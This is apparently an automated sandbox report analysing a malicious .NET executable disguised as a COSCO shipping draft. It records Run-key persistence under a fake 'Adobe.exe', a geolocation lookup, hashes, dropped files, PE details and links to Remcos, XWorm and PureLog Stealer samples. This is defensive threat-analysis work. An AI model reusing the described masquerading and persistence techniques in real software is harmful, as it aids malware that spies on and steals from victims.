                                                                  		9009M247GBtrue
                                                                  178.237.33.50
                                                                  		geoplugin.netNetherlands
                                                                  		8455ATOM86-ASATOM86NLfalse

                                                                  General Information

                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                  Analysis ID:1564681
                                                                  Start date and time:2024-11-28 17:41:05 +01:00
                                                                  Joe Sandbox product:CloudBasic
                                                                  Overall analysis duration:0h 10m 11s
                                                                  Hypervisor based Inspection enabled:false
                                                                  Report type:full
                                                                  Cookbook file name:default.jbs
                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                  Number of analysed new started processes analysed:21
                                                                  Number of new started drivers analysed:0
                                                                  Number of existing processes analysed:0
                                                                  Number of existing drivers analysed:0
                                                                  Number of injected processes analysed:0
                                                                  Technologies:
                                                                  • HCA enabled
                                                                  • EGA enabled
                                                                  • AMSI enabled
                                                                  Analysis Mode:default
                                                                  Analysis stop reason:Timeout
                                                                  Sample name:Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                  Detection:MAL
                                                                  Classification:mal100.rans.phis.troj.spyw.expl.evad.winEXE@30/7@1/2
                                                                  EGA Information:
                                                                  • Successful, ratio: 100%
                                                                  HCA Information:
                                                                  • Successful, ratio: 99%
                                                                  • Number of executed functions: 159
                                                                  • Number of non-executed functions: 319
                                                                  Cookbook Comments:
                                                                  • Found application associated with file extension: .exe
                                                                  • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                  Warnings

                                                                  • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                  • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                  • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                  • VT rate limit hit for: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe

                                                                  Simulations

                                                                  Behavior and APIs

                                                                  TimeTypeDescription
                                                                  11:41:57API Interceptor2x Sleep call for process: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe modified
                                                                  11:41:58API Interceptor4742553x Sleep call for process: Adobe.exe modified
                                                                  17:42:02AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRK "C:\ProgramData\Adobe\Adobe.exe"
                                                                  17:42:10AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRK "C:\ProgramData\Adobe\Adobe.exe"
                                                                  17:42:18AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRK "C:\ProgramData\Adobe\Adobe.exe"

                                                                  Joe Sandbox View / Context

                                                                  IPs

                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  104.250.180.178CI-PL- HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeGet hashmaliciousPureLog Stealer, XWormBrowse
                                                                    Doc089776867565357609 - EVER ATOP V.1319-008W KHH-RTM SO A268.scr.exeGet hashmaliciousRemcosBrowse
                                                                      PACKIING-#U5ee3#U5dde#U7acb#U5f97 - EVER ATOP V.1319-008W KHH-RTM SO A268.scr.exeGet hashmaliciousXWormBrowse
                                                                        rSOD219ISF-____.scr.exeGet hashmaliciousRemcosBrowse
                                                                          rWWTLCLtoUSADCL.scr.exeGet hashmaliciousXWormBrowse
                                                                            ttCOg61bOg.exeGet hashmaliciousRemcosBrowse
                                                                              SKM_C364e24092511300346565787689900142344656767788755634232343456768953334466870.scr.exeGet hashmaliciousRemcosBrowse
                                                                                ISF #U8a02#U8259#U55ae - KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exeGet hashmaliciousXWormBrowse
                                                                                  ISF 10+2 - SO - SO 4042 - ROTHENBERGER USA, INC#U51fa#U8ca8 TWSE0211390.scr.exeGet hashmaliciousRemcosBrowse
                                                                                    F41355 SO 7670 HBL EXPRESS RELEASEpdf.pdf.scr.exeGet hashmaliciousXWormBrowse
                                                                                      178.237.33.5017327986255b9be8bc9d871d6e246d7270b6644e5b5c3b696cfd132458bc59c32794b51c09844.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      SC_TR126089907.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      Sipari#U015f_listesi.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      Banco Santander Totta _Aconselhamento_Pagamento.imgGet hashmaliciousRemcosBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      rem.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      Salary Revision _pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      BUNKER INVOICE #U2018MV.SUN OCEAN.pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      1732748284fd56a2da13edf4ae4b865c44fa6834581d27eb2edbfe3fc50ef131cb95db5639506.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • geoplugin.net/json.gp
                                                                                      173274744687e09b63aaee64ab5c6d3baa50ebd886d53d9deeef28fce7ab1e19ace8987105169.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • geoplugin.net/json.gp

                                                                                      Domains

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                      geoplugin.net17327986255b9be8bc9d871d6e246d7270b6644e5b5c3b696cfd132458bc59c32794b51c09844.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50
                                                                                      SC_TR126089907.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • 178.237.33.50
                                                                                      Sipari#U015f_listesi.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                      • 178.237.33.50
                                                                                      Banco Santander Totta _Aconselhamento_Pagamento.imgGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50
                                                                                      remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • 178.237.33.50
                                                                                      rem.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • 178.237.33.50
                                                                                      Salary Revision _pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                      • 178.237.33.50
                                                                                      BUNKER INVOICE #U2018MV.SUN OCEAN.pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                      • 178.237.33.50
                                                                                      1732748284fd56a2da13edf4ae4b865c44fa6834581d27eb2edbfe3fc50ef131cb95db5639506.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50
                                                                                      173274744687e09b63aaee64ab5c6d3baa50ebd886d53d9deeef28fce7ab1e19ace8987105169.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50

                                                                                      ASNs

                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                      M247GBCI-PL- HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeGet hashmaliciousPureLog Stealer, XWormBrowse
                                                                                      • 104.250.180.178
                                                                                      loligang.x86-20241128-1536.elfGet hashmaliciousMiraiBrowse
                                                                                      • 38.95.109.118
                                                                                      nabmpsl.elfGet hashmaliciousUnknownBrowse
                                                                                      • 38.206.86.187
                                                                                      nabarm5.elfGet hashmaliciousUnknownBrowse
                                                                                      • 45.74.38.161
                                                                                      mips.elfGet hashmaliciousUnknownBrowse
                                                                                      • 77.36.125.131
                                                                                      akcqrfutuo.elfGet hashmaliciousUnknownBrowse
                                                                                      • 154.17.91.183
                                                                                      Mail-Manager.jarGet hashmaliciousUnknownBrowse
                                                                                      • 184.174.97.32
                                                                                      nklsh4.elfGet hashmaliciousUnknownBrowse
                                                                                      • 194.71.126.13
                                                                                      splm68k.elfGet hashmaliciousUnknownBrowse
                                                                                      • 193.43.20.63
                                                                                      nklx86.elfGet hashmaliciousUnknownBrowse
                                                                                      • 196.19.8.215
                                                                                      ATOM86-ASATOM86NL17327986255b9be8bc9d871d6e246d7270b6644e5b5c3b696cfd132458bc59c32794b51c09844.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50
                                                                                      SC_TR126089907.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • 178.237.33.50
                                                                                      Sipari#U015f_listesi.xlsGet hashmaliciousRemcos, HTMLPhisherBrowse
                                                                                      • 178.237.33.50
                                                                                      Banco Santander Totta _Aconselhamento_Pagamento.imgGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50
                                                                                      remi.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • 178.237.33.50
                                                                                      rem.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                      • 178.237.33.50
                                                                                      Salary Revision _pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                      • 178.237.33.50
                                                                                      BUNKER INVOICE #U2018MV.SUN OCEAN.pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                      • 178.237.33.50
                                                                                      1732748284fd56a2da13edf4ae4b865c44fa6834581d27eb2edbfe3fc50ef131cb95db5639506.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50
                                                                                      173274744687e09b63aaee64ab5c6d3baa50ebd886d53d9deeef28fce7ab1e19ace8987105169.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                      • 178.237.33.50

                                                                                      JA3 Fingerprints

                                                                                      ⊘No context

                                                                                      Dropped Files

                                                                                      ⊘No context

                                                                                      Created / dropped Files

                                                                                      C:\ProgramData\Adobe\Adobe.exe

                                                                                      Download File
                                                                                      Process:C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                      Category:dropped
                                                                                      Size (bytes):1129984
                                                                                      Entropy (8bit):7.88700496193482
                                                                                      Encrypted:false
                                                                                      SSDEEP:24576:V2xjyUVJKPWlHhWp19hnxRpPNX7HLQUqckP9LbuLCnYng:IUUVJVlHkpVnx3d7HLpEVLtnY
                                                                                      MD5:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      SHA1:F3BA507BEE10AF7E9FD64B1C70FECB975E216073
                                                                                      SHA-256:B2A1E0E508BE9C7546A8AF45C72F2032F067AC036F03EC0C8309B368B195A65C
                                                                                      SHA-512:0844FB41B40E29C363B7C62F39819569F405F6C038BC904AFE1D2296EC08F3F339AEF3F5E132B81BE25819A3C90013B86AF64E6737126175D8DE88EC1CFD972F
                                                                                      Malicious:true
                                                                                      Antivirus:
                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                      • Antivirus: ReversingLabs, Detection: 53%
                                                                                      Reputation:low
                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg..............0......\........... ........@.. ....................................@.................................0...O........Y...................`....................................................... ............... ..H............text........ ...................... ..`.rsrc....Y.......Z..................@..@.reloc.......`.......<..............@..B................d.......H.......P<...5......$....q..H...........................................z..}.....(........}.....(.....*..*...0............{.....+..*&...}....*...0............{....o.....+..*....0..B.........{...., .{....o....,..(....o..........+....,...(....o....oB.....*...0..B.........{...., .{....o....,..(....o..........+....,...(....o....oD.....*..r...p.{....%-.&.+.o....(....(....&*..0..E.........{....o.........,1...}.....(.....{....o ...o!.....(....o....oB.....*>..{.....o"....**...(#....*

                                                                                      C:\ProgramData\Adobe\Adobe.exe:Zone.Identifier

                                                                                      Download File
                                                                                      Process:C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:modified
                                                                                      Size (bytes):26
                                                                                      Entropy (8bit):3.95006375643621
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                      Malicious:true
                                                                                      Reputation:high, very likely benign file
                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Adobe.exe.log

                                                                                      Download File
                                                                                      Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):1216
                                                                                      Entropy (8bit):5.34331486778365
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                      MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                      SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                      SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                      SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                      Malicious:false
                                                                                      Reputation:high, very likely benign file
                                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.log

                                                                                      Download File
                                                                                      Process:C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):1216
                                                                                      Entropy (8bit):5.34331486778365
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                      MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                      SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                      SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                      SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                      Malicious:true
                                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

                                                                                      Download File
                                                                                      Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                      File Type:JSON data
                                                                                      Category:dropped
                                                                                      Size (bytes):963
                                                                                      Entropy (8bit):5.014904284428935
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:tkluJnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkwV:qluNdRNuKyGX85jvXhNlT3/7AcV9Wro
                                                                                      MD5:B66CFB6461E507BB577CDE91F270844E
                                                                                      SHA1:6D952DE48032731679F8718D1F1C3F08202507C3
                                                                                      SHA-256:E231BBC873E9B30CCA58297CAA3E8945A4FC61556F378F2C5013B0DDCB7035BE
                                                                                      SHA-512:B5C1C188F10C9134EF38D0C5296E7AE95A7A486F858BE977F9A36D63CBE5790592881F3B8D12FEBBF1E555D0A9868632D9E590777E2D3143E74FD3A44C55575F
                                                                                      Malicious:false
                                                                                      Preview:{. "geoplugin_request":"8.46.123.228",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                      C:\Users\user\AppData\Local\Temp\bhvAA55.tmp

                                                                                      Download File
                                                                                      Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                      File Type:Extensible storage engine DataBase, version 0x620, checksum 0x70d81a5e, page size 32768, DirtyShutdown, Windows version 10.0
                                                                                      Category:dropped
                                                                                      Size (bytes):17301504
                                                                                      Entropy (8bit):0.8012511682998866
                                                                                      Encrypted:false
                                                                                      SSDEEP:6144:ydfjZb5aXEY2waXEY24URlWe4APXAP5APzAPwbndOO8pHAP6JnTJnTbnSotnBQ+z:AVQ4e81ySaKKjLrONseWe
                                                                                      MD5:CAB39168771C7C02EDB5C0505CBA8342
                                                                                      SHA1:B2F120C85B6E80C3D41B755673915A9160EDC3B2
                                                                                      SHA-256:7B85C0679F94F239AD2B1DD505A1ADF65BA22A86BA9E61F473A8BF4ECC8E3780
                                                                                      SHA-512:51312F4BCFD970E6775787056CC4796C2F1634E63D6B6B8FA094E51A5E2683E9D29F1ACCD9CA92EA6B8217AC1E13DFCD4F6E06B6C8BA59976B0CA78A778A2883
                                                                                      Malicious:false
                                                                                      Preview:p..^... .......;!......E{ow("...{........................@...../....{o.-)...|..h.B............................("...{q............................................................................................._...........eJ......n........................................................................................................... ............{...................................................................................................................................................................................................{].................................b...-)...|..................pd..-)...|...........................#......h.B.....................................................................................................................................................................................................................................................................................................................................................

                                                                                      C:\Users\user\AppData\Local\Temp\sjwnfpnrxvemnctydvpmlfmrafenxb

                                                                                      Download File
                                                                                      Process:C:\ProgramData\Adobe\Adobe.exe
                                                                                      File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                      Category:dropped
                                                                                      Size (bytes):2
                                                                                      Entropy (8bit):1.0
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:Qn:Qn
                                                                                      MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                      SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                      SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                      SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                      Malicious:false
                                                                                      Preview:..

                                                                                      Static File Info

                                                                                      General

                                                                                      File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                      Entropy (8bit):7.88700496193482
                                                                                      TrID:
                                                                                      • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                                      • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                                      • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                      • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                      • DOS Executable Generic (2002/1) 0.01%
                                                                                      File name:Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                      File size:1'129'984 bytes
                                                                                      MD5:bc74e2d086d7bef42c3604c1dafc3edb
                                                                                      SHA1:f3ba507bee10af7e9fd64b1c70fecb975e216073
                                                                                      SHA256:b2a1e0e508be9c7546a8af45c72f2032f067ac036f03ec0c8309b368b195a65c
                                                                                      SHA512:0844fb41b40e29c363b7c62f39819569f405f6c038bc904afe1d2296ec08f3f339aef3f5e132b81be25819a3c90013b86af64e6737126175d8de88ec1cfd972f
                                                                                      SSDEEP:24576:V2xjyUVJKPWlHhWp19hnxRpPNX7HLQUqckP9LbuLCnYng:IUUVJVlHkpVnx3d7HLpEVLtnY
                                                                                      TLSH:AC351294229AD903C4E20B741D72F7F447748E89EA15C747ABEABDEB7C3614629C03E4
                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg..............0......\........... ........@.. ....................................@................................

                                                                                      File Icon

                                                                                      Icon Hash:099bce4dd131078e

                                                                                      Static PE Info

                                                                                      General

                                                                                      Entrypoint:0x50fe82
                                                                                      Entrypoint Section:.text
                                                                                      Digitally signed:false
                                                                                      Imagebase:0x400000
                                                                                      Subsystem:windows gui
                                                                                      Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                      Time Stamp:0x6747D2AD [Thu Nov 28 02:17:17 2024 UTC]
                                                                                      TLS Callbacks:
                                                                                      CLR (.Net) Version:
                                                                                      OS Version Major:4
                                                                                      OS Version Minor:0
                                                                                      File Version Major:4
                                                                                      File Version Minor:0
                                                                                      Subsystem Version Major:4
                                                                                      Subsystem Version Minor:0
                                                                                      Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                      Entrypoint Preview

                                                                                      Instruction
                                                                                      jmp dword ptr [00402000h]
                                                                                      adc dword ptr [eax], eax
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [esi], bh
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+00h], al
                                                                                      add byte ptr [eax], al
                                                                                      push edi
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [ebp+00h], bl
                                                                                      add byte ptr [eax], al
                                                                                      pop edi
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [edx+00h], ah
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [esi], cl
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [edi], bl
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [edx], ch
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+eax+00h], dl
                                                                                      add byte ptr [ebx+00h], al
                                                                                      add byte ptr [eax], al
                                                                                      pop ebx
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+eax+00h], ah
                                                                                      add byte ptr [ecx], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+eax], al
                                                                                      add byte ptr [eax], al
                                                                                      or dword ptr [eax], eax
                                                                                      add byte ptr [eax], al
                                                                                      adc eax, 1C000000h
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [ebx], dh
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [edi+00h], al
                                                                                      add byte ptr [eax], al
                                                                                      push eax
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [edi], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [edx], ah
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [ebx], dl
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax+eax], bh
                                                                                      add byte ptr [eax], al
                                                                                      sbb byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      dec ecx
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [ebx+00h], cl
                                                                                      add byte ptr [eax], al
                                                                                      dec edi
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al
                                                                                      add byte ptr [eax], al

                                                                                      Data Directories

                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x10fe300x4f.text
                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x1100000x59f4.rsrc
                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x1160000xc.reloc
                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                      Sections

                                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
